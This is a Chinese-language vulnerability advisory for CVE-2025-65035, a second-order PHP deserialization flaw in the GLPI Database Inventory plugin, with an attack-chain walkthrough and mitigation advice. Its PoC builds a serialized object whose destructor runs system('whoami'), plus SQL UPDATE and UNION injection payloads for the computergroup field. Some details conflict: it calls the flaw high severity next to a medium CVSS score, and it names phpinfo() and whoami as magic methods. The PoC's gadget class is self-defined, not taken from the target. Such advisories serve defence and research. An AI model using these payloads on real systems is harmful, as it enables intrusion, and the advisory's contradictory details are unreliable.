IPBUF安全漏洞报告
English
CVE-2025-65035 CVSS 6.4 中危

CVE-2025-65035 GLPI数据库清单插件不安全反序列化漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-65035
漏洞类型
PHP反序列化
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
pluginsGLPI Database Inventory Plugin

相关标签

CVE-2025-65035PHP反序列化对象注入pluginsGLPIDatabase Inventory Plugin二阶漏洞远程代码执行GLPISQL注入安全漏洞

漏洞概述

CVE-2025-65035是pluginsGLPI数据库清单插件中的一个高危安全漏洞。该插件用于管理Teclib'清单代理,以执行工作站上存在的数据库清单操作。在1.1.2版本之前,插件存在不安全的数据存储和反序列化问题。具体而言,在某些条件下(攻击者需要首先通过另一个漏洞或配置错误获得数据库写入权限),用户控制的数据通过computergroup字段不安全地存储在数据库中。随后,这些数据在每次页面加载时被反序列化,导致任意PHP对象实例化。攻击者可利用PHP对象注入配合已有的POP链(如phpinfo()、whoami等魔术方法)实现远程代码执行、文件操作等恶意操作。由于漏洞利用需要预先获取数据库写入权限,因此通常需要与其他漏洞(如SQL注入、弱口令等)配合使用才能完成完整的攻击链。

技术细节

该漏洞的根本原因在于插件对存储在数据库computergroup字段中的数据进行了不安全的反序列化操作。攻击流程如下:首先,攻击者需要获取目标系统的数据库写入权限(可通过SQL注入、弱口令或其他漏洞实现);然后,将包含恶意序列化PHP对象的payload写入computergroup字段;接着,当管理员或用户访问受影响页面时,插件会从数据库读取该字段内容并直接传递给unserialize()函数;最后,PHP对象被反序列化后,如果存在可利用的POP链(如可触发__destruct()或__wakeup()等魔术方法的类),攻击者即可实现任意代码执行。值得注意的是,该漏洞属于二阶漏洞(Second-Order Vulnerability),因为恶意数据先被存储后被使用。修复版本1.1.2通过移除不安全的反序列化操作或使用安全的序列化方法解决了此问题。

攻击链分析

STEP 1
步骤1
获取数据库写入权限:攻击者通过SQL注入、弱口令、配置错误或其他漏洞获得目标GLPI系统的数据库写入权限
STEP 2
步骤2
构造恶意序列化payload:攻击者构造包含恶意PHP对象的序列化数据,利用可能的POP链(如__destruct()、__wakeup()等魔术方法触发点)
STEP 3
步骤3
注入computergroup字段:将恶意序列化payload写入数据库的computergroup字段,这是二阶漏洞的存储阶段
STEP 4
步骤4
触发反序列化:当管理员或用户访问受影响页面时,插件从数据库读取computergroup字段并调用unserialize()进行反序列化
STEP 5
步骤5
执行恶意代码:反序列化触发POP链执行,导致任意代码执行、文件读写或系统命令执行等后果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2025-65035 PoC - pluginsGLPI Database Inventory Plugin Unsafe Deserialization // This PoC demonstrates PHP Object Injection via computergroup field // Prerequisites: Database write access (e.g., via SQL injection or misconfiguration) // Malicious serialized payload for PHP Object Injection // Using a simple example with phpinfo() gadget chain class DatabaseInventoryGadget { private $command; public function __construct($cmd) { $this->command = $cmd; } public function __destruct() { // This will be executed when the object is destroyed system($this->command); } } // Generate malicious payload $malicious_obj = new DatabaseInventoryGadget('whoami'); $payload = serialize($malicious_obj); echo "Malicious Payload for computergroup field:\n"; echo $payload . "\n\n"; // SQL Injection payload to inject into computergroup // Assuming the attacker has identified a SQL injection point $sql_payload = "'" . addslashes($payload) . "'"; echo "SQL Injection Payload:\n"; echo "UPDATE glpi_plugin_databaseinventory_computergroup SET computergroup='" . $sql_payload . "' WHERE id=1;\n"; // Alternative: If direct SQL injection is possible // UNION-based injection example $union_payload = "' UNION SELECT '" . addslashes($payload) . "',2,3,4-- -"; echo "\nUNION Injection Payload:\n"; echo $union_payload . "\n"; // Note: This PoC requires: // 1. Database write access (SQL injection, weak credentials, or another vulnerability) // 2. A suitable PHP gadget chain in the application's class autoload // 3. The vulnerable unserialization call in the plugin code ?>

影响范围

pluginsGLPI Database Inventory Plugin < 1.1.2

防御指南

临时缓解措施
立即升级pluginsGLPI Database Inventory Plugin至1.1.2版本。在升级前,可采取以下临时缓解措施:1) 检查并修复所有SQL注入漏洞,确保数据库查询使用参数化语句;2) 修改所有GLPI相关账户的密码为强密码;3) 限制数据库用户的权限,避免应用程序账户拥有不必要的写权限;4) 在WAF中配置规则,监控和阻止异常的反序列化操作;5) 定期审计数据库访问日志,排查可疑活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表